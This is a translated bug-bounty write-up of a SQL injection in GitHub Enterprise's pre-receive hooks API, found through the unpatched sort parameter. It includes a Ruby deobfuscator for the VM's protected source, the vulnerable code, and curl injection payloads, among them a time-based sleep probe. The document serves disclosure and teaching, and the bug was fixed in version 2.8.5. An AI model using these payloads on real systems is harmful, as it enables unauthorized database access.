Back to Home

SQL injection in github enterprise

github · hack · bug bounty

SQL injection in github enterprise

Original author: Orange Tsai
  • Transfer


Hi Habr,

Below is the story of the author of Orange Tsai about how he purposefully looked for vulnerabilities in the corporate version of GitHub and eventually discovered the possibility of SQL injection. Here, on the hub, a translation of his other article “ How I hacked Facebook and discovered someone else’s backdoor ” was already published earlier .

Before the start


GitHub Enterprise is an enterprise version of GitHub.com designed to deploy the GitHub platform on a private development network. By visiting enterprise.github.com you can download a virtual machine (VM) with a free trial period of 45 days.

After installation, we will see:





Now, in my VM there is a complete GitHub ecosystem. It is so interesting that I wanted to take a closer look at VM: P.

Environment


The beginning of everything and everything is port scanning. After calling the useful Nmap utility , you can see that 6 ports are open in the VM.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

After some analysis of the services, we can say that:

  • 22 / tcp and 9418 / tcp are similar to haproxy and redirect connections to the babeld backend service .
  • 80 / tcp and 443 / tcp are the main GitHub services.
  • 122 / tcp - SSH service.
  • 8443 / tcp - GitHub management console.

By the way, the GitHub management console requires a password to log in. If you have a password, you can add your SSH key and connect to the VM through 122 / tcp .

Using SSH connection to VM, we looked at the whole system and, most likely, the code base is in the / data / directory .

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Перейдём в /data/ и попробуем посмотреть на исходники. Кажется, они закодированы :(



GitHub использует собственную библиотеку для обфускации исходного кода. Если поискать в Гугле «ruby_concealer.so», то найдёте доброго человека, написавшего сниппет для деобфускации.

Сниппет получается простой заменой в ruby_concealer.so вызовов rb_f_eval на rb_f_puts и это работает.

Но нельзя называться хакером, не поняв как именно это работает. Поэтому откроем IDA Pro!





Как можно заметить, тут используется Zlib::Inflate::inflate для распаковывания и операции XOR со следующим ключом:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken.
[перевод] Данная обфускация предназначена чтобы отбить желание пользователей GitHub Enterprise вносить изменения в VM. Мы знаем, что это "кодирование" легко ломается. 

Значит можно легко написать свой деобфускатор!

require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
def decrypt(s)
    i, plaintext = 0, ''
    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end
content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintext

Анализ кода


После деобфускации можно наконец начать обозревать код.

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.
http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...

$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Most of the code is written in Ruby (Ruby on Rails and Sinatra).

  • / data / github / Apparently there is an application that works with ports 80 / tcp , 443 / tcp and it looks like this is the same code base as on github.com, gist.github.com and api.github.com
  • / data / render / apparently the code base render.githubusercontent.com
  • / data / enterprise-manage / looks like an application that works with port 8443 / tcp

To find out if the application works in corporate mode, or in GitHub.com, does GitHub Enterprise use enterprise accordingly ? and dotcom? .

Vulnerability


It took me about one week to find this vulnerability. I am not familiar with Ruby, so I learned on the go, trying to write on it: P

So, roughly speaking, my week passed.

  • Day 1 - Install VM
  • Day 2 - Install VM
  • Day 3 - Learning Rails Through Code Analysis
  • Day 4 - Learning Rails Through Code Analysis
  • Day 5 - Learning Rails Through Code Analysis
  • Day 6 - And here I found the SQL injection!

SQL injection was found in the PreReceiveHookTarget model .

The main reason for the vulnerability lies in line No. 45 of the file /data/github/current/app/model/pre_receive_hook_target.rb .

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Although Rails has a built-in ORM (called ActiveRecord) that should protect against SQL injection, its naive use may pose a threat.

More examples are on Rails-sqli.org . I think it’s useful to know about SQL injection in Rails.

In this case, if we manage to change the parameter of the order method , we will be able to implement a malicious SQL query.

Ok now let's follow the challenges! sorted_by is called on line 61 of the file /data/github/current/app/api/org_pre_receive_hooks.rb .

10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

Note that params [: sort] is passed to scope.sorted_by . So you can inject through params [: sort] .

Before using the vulnerability, you will need a valid access_token token with the admin: pre_receive_hook parameter to access the API. Fortunately, it can be obtained using the command:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

After receiving the token, you can use the vulnerability like this:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}



Chronology


  • 12/26/2016 05:48 a Report on a vulnerability in GitHub through HackerOne.
  • 12/26/2016 08:39 AM GitHub confirms the existence of the problem and works to resolve it.
  • 12/26/2016 15:48 Report on the details of the vulnerability.
  • 12/28/2016 02:44 AM GitHub replies that the vulnerability will be removed in the next version of GitHub Enterprise.
  • 01/04/2017 06:41 GitHub offers a reward of $ 5,000.
  • 01/05/2017 02:37 I ask whether it is possible to write about this on the blog.
  • 01/05/2017 03:06 AM GitHub kindly allows you to talk about this.
  • 01/05/2017 07:06 Release of GitHub Enterprise version 2.8.5!

Read Next